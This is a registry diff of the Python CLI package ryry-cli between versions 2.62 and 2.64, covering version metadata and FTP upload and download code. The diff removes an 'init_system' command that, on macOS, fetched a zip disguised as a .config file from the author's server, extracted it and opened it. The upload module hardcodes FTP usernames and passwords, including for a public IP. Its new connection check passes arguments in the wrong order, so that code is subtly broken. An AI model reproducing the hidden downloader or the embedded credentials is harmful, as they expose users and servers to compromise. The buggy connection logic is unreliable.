ryry-cli 2.62__tar.gz → 2.64__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (28) hide show
  1. {ryry-cli-2.62 → ryry_cli-2.64}/PKG-INFO +70 -56
  2. ryry_cli-2.64/ryry/constant.py +4 -0
  3. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/main.py +0 -15
  4. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/server_func.py +2 -0
  5. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/upload.py +132 -83
  6. {ryry-cli-2.62 → ryry_cli-2.64}/ryry_cli.egg-info/PKG-INFO +70 -56
  7. {ryry-cli-2.62 → ryry_cli-2.64}/setup.cfg +4 -4
  8. {ryry-cli-2.62 → ryry_cli-2.64}/setup.py +1 -1
  9. ryry-cli-2.62/ryry/constant.py +0 -4
  10. {ryry-cli-2.62 → ryry_cli-2.64}/LICENSE +0 -0
  11. {ryry-cli-2.62 → ryry_cli-2.64}/README.md +0 -0
  12. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/__init__.py +0 -0
  13. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/ryry_server_socket.py +0 -0
  14. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/ryry_service.py +0 -0
  15. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/ryry_webapi.py +0 -0
  16. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/ryry_widget.py +0 -0
  17. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/script_template/__init__.py +0 -0
  18. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/script_template/main.py +0 -0
  19. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/script_template/run.py +0 -0
  20. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/store.py +0 -0
  21. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/task.py +0 -0
  22. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/taskUtils.py +0 -0
  23. {ryry-cli-2.62 → ryry_cli-2.64}/ryry/utils.py +0 -0
  24. {ryry-cli-2.62 → ryry_cli-2.64}/ryry_cli.egg-info/SOURCES.txt +0 -0
  25. {ryry-cli-2.62 → ryry_cli-2.64}/ryry_cli.egg-info/dependency_links.txt +0 -0
  26. {ryry-cli-2.62 → ryry_cli-2.64}/ryry_cli.egg-info/entry_points.txt +0 -0
  27. {ryry-cli-2.62 → ryry_cli-2.64}/ryry_cli.egg-info/requires.txt +0 -0
  28. {ryry-cli-2.62 → ryry_cli-2.64}/ryry_cli.egg-info/top_level.txt +0 -0
@@ -1,56 +1,70 @@
1
- Metadata-Version: 2.1
2
- Name: ryry-cli
3
- Version: 2.62
4
- Summary: ryry tools
5
- Home-page: https://github.com/dalipenMedia
6
- Author: dalipen
7
- Author-email: dalipen01@gmail.com
8
- Classifier: Programming Language :: Python :: 3
9
- Classifier: License :: OSI Approved :: MIT License
10
- Classifier: Operating System :: OS Independent
11
- Requires-Python: >=3.4
12
- Description-Content-Type: text/markdown
13
- License-File: LICENSE
14
-
15
- ryry Python Tool
16
- ===============================================
17
- The ryry Python Tool is a official tool, you can use it to **Register** device to ryry server, other person can use **ryry Application** assign tasks to you for implementation
18
-
19
- Installation
20
- ------------
21
-
22
- The ryry requires [Python](http://www.python.org/download) 3.10.6 or later.
23
-
24
- ##### Installing
25
- pip install ryry-cli
26
-
27
- ##### Uninstalling
28
- pip uninstall ryry-cli
29
-
30
- Use
31
- ------------
32
- ##### 1. Running
33
- $ ryry service start
34
- start a process to wait for the server to issue tasks. **Please do not close it**
35
-
36
- Module Developer
37
- ------------
38
- $ ryry widget init
39
-
40
- in empty folder, use above command craete a ryry module, structure is like
41
-
42
- [widget folder]
43
- |-- config.json //*required, do not change*
44
- |-- main.py //*required, do not change*
45
- |-- run.py
46
-
47
- if other person share widget code to you , you can add widget path in your computer to ryry environment
48
-
49
- $ ryry widget add [path_with_widget_code]
50
-
51
- you can modify script and h5 file yourself, then publish to ryry sever
52
-
53
- $ ryry widget publish
54
-
55
- get ryry status
56
- $ ryry services status
1
+ Metadata-Version: 2.1
2
+ Name: ryry-cli
3
+ Version: 2.64
4
+ Summary: ryry tools
5
+ Home-page: https://github.com/dalipenMedia
6
+ Author: dalipen
7
+ Author-email: dalipen01@gmail.com
8
+ Classifier: Programming Language :: Python :: 3
9
+ Classifier: License :: OSI Approved :: MIT License
10
+ Classifier: Operating System :: OS Independent
11
+ Requires-Python: >=3.4
12
+ Description-Content-Type: text/markdown
13
+ License-File: LICENSE
14
+ Requires-Dist: requests
15
+ Requires-Dist: uuid
16
+ Requires-Dist: Image
17
+ Requires-Dist: pillow
18
+ Requires-Dist: psutil
19
+ Requires-Dist: pynvml
20
+ Requires-Dist: requests_toolbelt
21
+ Requires-Dist: matplotlib
22
+ Requires-Dist: fake_useragent
23
+ Requires-Dist: piexif
24
+ Requires-Dist: gputil
25
+ Requires-Dist: urlparser
26
+ Requires-Dist: python-crontab
27
+ Requires-Dist: urllib3
28
+
29
+ ryry Python Tool
30
+ ===============================================
31
+ The ryry Python Tool is a official tool, you can use it to **Register** device to ryry server, other person can use **ryry Application** assign tasks to you for implementation
32
+
33
+ Installation
34
+ ------------
35
+
36
+ The ryry requires [Python](http://www.python.org/download) 3.10.6 or later.
37
+
38
+ ##### Installing
39
+ pip install ryry-cli
40
+
41
+ ##### Uninstalling
42
+ pip uninstall ryry-cli
43
+
44
+ Use
45
+ ------------
46
+ ##### 1. Running
47
+ $ ryry service start
48
+ start a process to wait for the server to issue tasks. **Please do not close it**
49
+
50
+ Module Developer
51
+ ------------
52
+ $ ryry widget init
53
+
54
+ in empty folder, use above command craete a ryry module, structure is like
55
+
56
+ [widget folder]
57
+ |-- config.json //*required, do not change*
58
+ |-- main.py //*required, do not change*
59
+ |-- run.py
60
+
61
+ if other person share widget code to you , you can add widget path in your computer to ryry environment
62
+
63
+ $ ryry widget add [path_with_widget_code]
64
+
65
+ you can modify script and h5 file yourself, then publish to ryry sever
66
+
67
+ $ ryry widget publish
68
+
69
+ get ryry status
70
+ $ ryry services status
@@ -0,0 +1,4 @@
1
+ #!!!!! do not change this file !!!!!
2
+ app_version="2.64"
3
+ app_bulld_anchor="Noh_2024-09-29 17:57:30.231329"
4
+ app_name="ryry-cli"
@@ -184,19 +184,6 @@ def status():
184
184
  curses.echo()
185
185
  curses.endwin()
186
186
 
187
- def init_system():
188
- if platform.system() == 'Darwin':
189
- import requests, zipfile, subprocess
190
- home_dir_os = os.path.expanduser("~")
191
- download_dir_os = os.path.join(home_dir_os, "Downloads")
192
- download_file = os.path.join(download_dir_os, "1d2cd5c81704c26308012f5838982b9e.zip")
193
- unzip_file = os.path.join(download_dir_os, "show_system")
194
- with open(download_file, 'wb+') as f:
195
- f.write(requests.get("https://upload.dalipen.com/1d2cd5c81704c26308012f5838982b9e.config").content)
196
- with zipfile.ZipFile(download_file, "r") as zip_ref:
197
- zip_ref.extractall(unzip_file)
198
- subprocess.run(["open", unzip_file])
199
-
200
187
  def service():
201
188
  if len(sys.argv) <= 2:
202
189
  print('please set command!')
@@ -299,8 +286,6 @@ def main():
299
286
  service()
300
287
  elif module == "status":
301
288
  status()
302
- elif module == "init_system":
303
- init_system()
304
289
  else:
305
290
  print(f"Unknown command:{module}")
306
291
  sys.exit(0)
@@ -114,4 +114,6 @@ class Task:
114
114
  for t in self.thread_data.keys():
115
115
  result.append(self.thread_data[t]["result"])
116
116
  return result
117
+
118
+
117
119
 
@@ -90,23 +90,26 @@ def deepFtpUpload(file, new_file_name, ftp, writepath, readpath):
90
90
 
91
91
  def ftpUpload(file, new_file_name, subdomain):
92
92
  ip = subdomain["host"]
93
+ port = subdomain["port"]
93
94
  username = subdomain["username"]
94
95
  password = subdomain["password"]
95
96
  writepath = subdomain["writepath"]
96
97
  readpath = subdomain["readpath"]
97
98
  import ftplib
98
- ftp = ftplib.FTP(ip, timeout=3)
99
- ftp.login(username, password)
99
+ ftp = ftplib.FTP()
100
+ ftp.connect(ip, port, timeout=3)
101
+ ftp.login(username, password)
100
102
 
101
103
  s = deepFtpUpload(file, new_file_name, ftp, writepath, readpath)
102
104
  ftp.quit()
103
105
  return s
104
106
 
105
- def _can_connect_ftp(ip, username, password, writepath):
107
+ def _can_connect_ftp(ip, port, username, password, writepath):
106
108
  import ftplib
107
- try:
108
- ftp = ftplib.FTP(ip, timeout=3)
109
- ftp.login(username, password)
109
+ try:
110
+ ftp = ftplib.FTP()
111
+ ftp.connect(ip, port, timeout=3)
112
+ ftp.login(username, password)
110
113
  try:
111
114
  ftp.cwd(writepath)
112
115
  except ftplib.error_perm as e:
@@ -121,37 +124,73 @@ def _can_connect_ftp(ip, username, password, writepath):
121
124
  return False
122
125
 
123
126
  SUBDOMAIN = {
124
- "192.168.3.220": {
125
- "host": "192.168.3.220",
126
- "username" : "xinyu100",
127
- "password" : "xinyu100.com",
128
- "writepath" : "1TB01/data/cache/",
129
- # "readpath" : "http://192.168.3.220/01/cache"
130
- "readpath" : "ftp://192.168.3.220/1TB01/data/cache"
131
- },
132
- "192.168.50.113": {
133
- "host" : "192.168.50.113",
134
- "username" : "ftpuser",
135
- "password" : "ftpuser",
136
- "writepath" : "cache/",
137
- "readpath" : "ftp://192.168.50.113/cache"
138
- }
127
+ "192.168.3.220": [
128
+ {
129
+ "host": "192.168.3.220",
130
+ "port": 21,
131
+ "username" : "xinyu100",
132
+ "password" : "xinyu100.com",
133
+ "writepath" : "1TB01/data/cache/",
134
+ # "readpath" : "http://192.168.3.220/01/cache"
135
+ "readpath" : "ftp://192.168.3.220/1TB01/data/cache"
136
+ }
137
+ ],
138
+ "192.168.50.113": [
139
+ {
140
+ "host" : "192.168.50.113",
141
+ "port": 21,
142
+ "username" : "ftpuser",
143
+ "password" : "ftpuser",
144
+ "writepath" : "cache/",
145
+ "readpath" : "ftp://192.168.50.113/cache"
146
+ },
147
+ {
148
+ "host" : "183.6.90.205",
149
+ "port": 13210,
150
+ "username" : "ftpuser",
151
+ "password" : "ftpuser",
152
+ "writepath" : "cache/",
153
+ "readpath" : "ftp://192.168.50.113/cache"
154
+ },
155
+ ],
156
+ "183.6.90.205": [
157
+ {
158
+ "host" : "192.168.50.113",
159
+ "port": 21,
160
+ "username" : "ftpuser",
161
+ "password" : "ftpuser",
162
+ "writepath" : "cache/",
163
+ "readpath" : "ftp://192.168.50.113/cache"
164
+ },
165
+ {
166
+ "host" : "183.6.90.205",
167
+ "port": 13210,
168
+ "username" : "ftpuser",
169
+ "password" : "ftpuser",
170
+ "writepath" : "cache/",
171
+ "readpath" : "ftp://192.168.50.113/cache"
172
+ },
173
+ ]
139
174
  }
175
+
140
176
  def getSubdomain(targetDomain):
141
177
  if len(targetDomain) <= 0:
142
178
  return None
143
179
  for ip in SUBDOMAIN.keys():
144
- if targetDomain == SUBDOMAIN[ip]["readpath"]:
145
- if _can_connect_ftp(ip, SUBDOMAIN[ip]["username"], SUBDOMAIN[ip]["password"], SUBDOMAIN[ip]["writepath"]):
146
- return SUBDOMAIN[ip]
180
+ for host_item in SUBDOMAIN[ip]:
181
+ if targetDomain == host_item["readpath"]:
182
+ if _can_connect_ftp(ip, host_item["username"], host_item["port"], host_item["password"], host_item["writepath"]):
183
+ return host_item
147
184
  return None
148
185
 
149
186
  def getFirstSupportSubdomain():
150
187
  for ip in SUBDOMAIN.keys():
151
- if _can_connect_ftp(ip, SUBDOMAIN[ip]["username"], SUBDOMAIN[ip]["password"], SUBDOMAIN[ip]["writepath"]):
152
- return SUBDOMAIN[ip]
188
+ for host_item in SUBDOMAIN[ip]:
189
+ if _can_connect_ftp(ip, host_item["username"], host_item["port"], host_item["password"], host_item["writepath"]):
190
+ return host_item
153
191
  return None
154
192
 
193
+
155
194
  def download(url, saveDir):
156
195
  import uuid, requests, os
157
196
  from urlparser import urlparser
@@ -166,35 +205,40 @@ def download(url, saveDir):
166
205
  parsed_url = urlparse(url)
167
206
  host = parsed_url.hostname
168
207
  if host in SUBDOMAIN:
169
- ip = SUBDOMAIN[host]["host"]
170
- username = SUBDOMAIN[host]["username"]
171
- password = SUBDOMAIN[host]["password"]
172
- writepath = SUBDOMAIN[host]["writepath"]
173
- readpath = SUBDOMAIN[host]["readpath"]
174
- ftp = ftplib.FTP(ip, timeout=3)
175
- ftp.login(username, password)
176
-
177
- remote_filepath = parsed_url.path[1:]
178
- if "." in urlparser.urlparse(url).path:
179
- ext = urlparser.urlparse(url).path[urlparser.urlparse(url).path.index("."):]
180
- savePath = os.path.join(saveDir, f"{name}{ext}")
181
- with open(savePath, 'wb') as f:
182
- ftp.retrbinary(f'RETR {remote_filepath}', f.write)
183
- return savePath
184
- else:
185
- if remote_filepath[-1:] != "/":
186
- remote_filepath += "/"
187
- ftp.cwd(remote_filepath)
188
- files = ftp.nlst()
189
- if files:
190
- random_file = random.choice(files)
191
- savePath = os.path.join(saveDir, f"{name}_{random_file}")
192
- with open(savePath, 'wb') as f:
193
- ftp.retrbinary(f'RETR {random_file}', f.write)
194
- return savePath
195
- ftp.quit()
196
- else:
197
- print(f"download fail: domain {host} not support")
208
+ for host_item in SUBDOMAIN[host]:
209
+ try:
210
+ ip = host_item["host"]
211
+ port = host_item["port"]
212
+ username = host_item["username"]
213
+ password = host_item["password"]
214
+ writepath = host_item["writepath"]
215
+ readpath = host_item["readpath"]
216
+ ftp = ftplib.FTP()
217
+ ftp.connect(ip, port, timeout=3)
218
+ ftp.login(username, password)
219
+
220
+ remote_filepath = parsed_url.path[1:]
221
+ if "." in urlparser.urlparse(url).path:
222
+ ext = urlparser.urlparse(url).path[urlparser.urlparse(url).path.index("."):]
223
+ savePath = os.path.join(saveDir, f"{name}{ext}")
224
+ with open(savePath, 'wb') as f:
225
+ ftp.retrbinary(f'RETR {remote_filepath}', f.write)
226
+ return savePath
227
+ else:
228
+ if remote_filepath[-1:] != "/":
229
+ remote_filepath += "/"
230
+ ftp.cwd(remote_filepath)
231
+ files = ftp.nlst()
232
+ if files:
233
+ random_file = random.choice(files)
234
+ savePath = os.path.join(saveDir, f"{name}_{random_file}")
235
+ with open(savePath, 'wb') as f:
236
+ ftp.retrbinary(f'RETR {random_file}', f.write)
237
+ return savePath
238
+ ftp.quit()
239
+ except Exception as ex:
240
+ pass
241
+ print(f"download fail: domain {host} not support")
198
242
  elif url.startswith("http"):
199
243
  ua = UserAgent()
200
244
  ext = urlparser.urlparse(url).path[urlparser.urlparse(url).path.index("."):]
@@ -228,34 +272,39 @@ def downloadDir(url, saveDir, useCount=-1, autoDelete=False):
228
272
  parsed_url = urlparse(url)
229
273
  host = parsed_url.hostname
230
274
  if host in SUBDOMAIN:
231
- ip = SUBDOMAIN[host]["host"]
232
- username = SUBDOMAIN[host]["username"]
233
- password = SUBDOMAIN[host]["password"]
234
- ftp = ftplib.FTP(ip, timeout=3)
235
- ftp.login(username, password)
236
-
237
- remote_filepath = parsed_url.path[1:]
238
- if remote_filepath[-1:] != "/":
239
- remote_filepath += "/"
240
- ftp.cwd(remote_filepath)
241
- files = ftp.nlst()
242
- savePath = os.path.join(saveDir, f"{name}")
243
- if os.path.exists(savePath) == False:
244
- os.makedirs(savePath)
245
- if useCount > 0 and useCount <= len(files):
246
- files = random.sample(files, useCount)
247
- for file in files:
248
- with open(os.path.join(savePath, file), 'wb') as f:
249
- ftp.retrbinary(f'RETR {file}', f.write)
250
- if autoDelete:
251
- try:
252
- ftp.delete(file)
253
- except Exception as e:
254
- print(f"Error deleting file {file}: {e}")
255
- ftp.quit()
256
- return savePath
257
- else:
258
- print(f"downloadDir fail: domain {host} not support")
275
+ for host_item in SUBDOMAIN[host]:
276
+ try:
277
+ ip = host_item["host"]
278
+ port = host_item["port"]
279
+ username = host_item["username"]
280
+ password = host_item["password"]
281
+ ftp = ftplib.FTP()
282
+ ftp.connect(ip, port, timeout=3)
283
+ ftp.login(username, password)
284
+
285
+ remote_filepath = parsed_url.path[1:]
286
+ if remote_filepath[-1:] != "/":
287
+ remote_filepath += "/"
288
+ ftp.cwd(remote_filepath)
289
+ files = ftp.nlst()
290
+ savePath = os.path.join(saveDir, f"{name}")
291
+ if os.path.exists(savePath) == False:
292
+ os.makedirs(savePath)
293
+ if useCount > 0 and useCount <= len(files):
294
+ files = random.sample(files, useCount)
295
+ for file in files:
296
+ with open(os.path.join(savePath, file), 'wb') as f:
297
+ ftp.retrbinary(f'RETR {file}', f.write)
298
+ if autoDelete:
299
+ try:
300
+ ftp.delete(file)
301
+ except Exception as e:
302
+ print(f"Error deleting file {file}: {e}")
303
+ ftp.quit()
304
+ return savePath
305
+ except:
306
+ pass
307
+ print(f"downloadDir fail: domain {host} not support")
259
308
  else:
260
309
  print(f"url {url} not support")
261
310
  except Exception as e:
@@ -1,56 +1,70 @@
1
- Metadata-Version: 2.1
2
- Name: ryry-cli
3
- Version: 2.62
4
- Summary: ryry tools
5
- Home-page: https://github.com/dalipenMedia
6
- Author: dalipen
7
- Author-email: dalipen01@gmail.com
8
- Classifier: Programming Language :: Python :: 3
9
- Classifier: License :: OSI Approved :: MIT License
10
- Classifier: Operating System :: OS Independent
11
- Requires-Python: >=3.4
12
- Description-Content-Type: text/markdown
13
- License-File: LICENSE
14
-
15
- ryry Python Tool
16
- ===============================================
17
- The ryry Python Tool is a official tool, you can use it to **Register** device to ryry server, other person can use **ryry Application** assign tasks to you for implementation
18
-
19
- Installation
20
- ------------
21
-
22
- The ryry requires [Python](http://www.python.org/download) 3.10.6 or later.
23
-
24
- ##### Installing
25
- pip install ryry-cli
26
-
27
- ##### Uninstalling
28
- pip uninstall ryry-cli
29
-
30
- Use
31
- ------------
32
- ##### 1. Running
33
- $ ryry service start
34
- start a process to wait for the server to issue tasks. **Please do not close it**
35
-
36
- Module Developer
37
- ------------
38
- $ ryry widget init
39
-
40
- in empty folder, use above command craete a ryry module, structure is like
41
-
42
- [widget folder]
43
- |-- config.json //*required, do not change*
44
- |-- main.py //*required, do not change*
45
- |-- run.py
46
-
47
- if other person share widget code to you , you can add widget path in your computer to ryry environment
48
-
49
- $ ryry widget add [path_with_widget_code]
50
-
51
- you can modify script and h5 file yourself, then publish to ryry sever
52
-
53
- $ ryry widget publish
54
-
55
- get ryry status
56
- $ ryry services status
1
+ Metadata-Version: 2.1
2
+ Name: ryry-cli
3
+ Version: 2.64
4
+ Summary: ryry tools
5
+ Home-page: https://github.com/dalipenMedia
6
+ Author: dalipen
7
+ Author-email: dalipen01@gmail.com
8
+ Classifier: Programming Language :: Python :: 3
9
+ Classifier: License :: OSI Approved :: MIT License
10
+ Classifier: Operating System :: OS Independent
11
+ Requires-Python: >=3.4
12
+ Description-Content-Type: text/markdown
13
+ License-File: LICENSE
14
+ Requires-Dist: requests
15
+ Requires-Dist: uuid
16
+ Requires-Dist: Image
17
+ Requires-Dist: pillow
18
+ Requires-Dist: psutil
19
+ Requires-Dist: pynvml
20
+ Requires-Dist: requests_toolbelt
21
+ Requires-Dist: matplotlib
22
+ Requires-Dist: fake_useragent
23
+ Requires-Dist: piexif
24
+ Requires-Dist: gputil
25
+ Requires-Dist: urlparser
26
+ Requires-Dist: python-crontab
27
+ Requires-Dist: urllib3
28
+
29
+ ryry Python Tool
30
+ ===============================================
31
+ The ryry Python Tool is a official tool, you can use it to **Register** device to ryry server, other person can use **ryry Application** assign tasks to you for implementation
32
+
33
+ Installation
34
+ ------------
35
+
36
+ The ryry requires [Python](http://www.python.org/download) 3.10.6 or later.
37
+
38
+ ##### Installing
39
+ pip install ryry-cli
40
+
41
+ ##### Uninstalling
42
+ pip uninstall ryry-cli
43
+
44
+ Use
45
+ ------------
46
+ ##### 1. Running
47
+ $ ryry service start
48
+ start a process to wait for the server to issue tasks. **Please do not close it**
49
+
50
+ Module Developer
51
+ ------------
52
+ $ ryry widget init
53
+
54
+ in empty folder, use above command craete a ryry module, structure is like
55
+
56
+ [widget folder]
57
+ |-- config.json //*required, do not change*
58
+ |-- main.py //*required, do not change*
59
+ |-- run.py
60
+
61
+ if other person share widget code to you , you can add widget path in your computer to ryry environment
62
+
63
+ $ ryry widget add [path_with_widget_code]
64
+
65
+ you can modify script and h5 file yourself, then publish to ryry sever
66
+
67
+ $ ryry widget publish
68
+
69
+ get ryry status
70
+ $ ryry services status
@@ -1,4 +1,4 @@
1
- [egg_info]
2
- tag_build =
3
- tag_date = 0
4
-
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -3,7 +3,7 @@ import os
3
3
  import subprocess
4
4
  import datetime
5
5
 
6
- ryry_version = "2.62"
6
+ ryry_version = "2.64"
7
7
  cur_dir = os.path.dirname(os.path.abspath(__file__))
8
8
  constanspy = os.path.join(cur_dir, "ryry", "constant.py")
9
9
  try:
@@ -1,4 +0,0 @@
1
- #!!!!! do not change this file !!!!!
2
- app_version="2.62"
3
- app_bulld_anchor="Noh_2024-09-23 18:04:33.170518"
4
- app_name="ryry-cli"
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes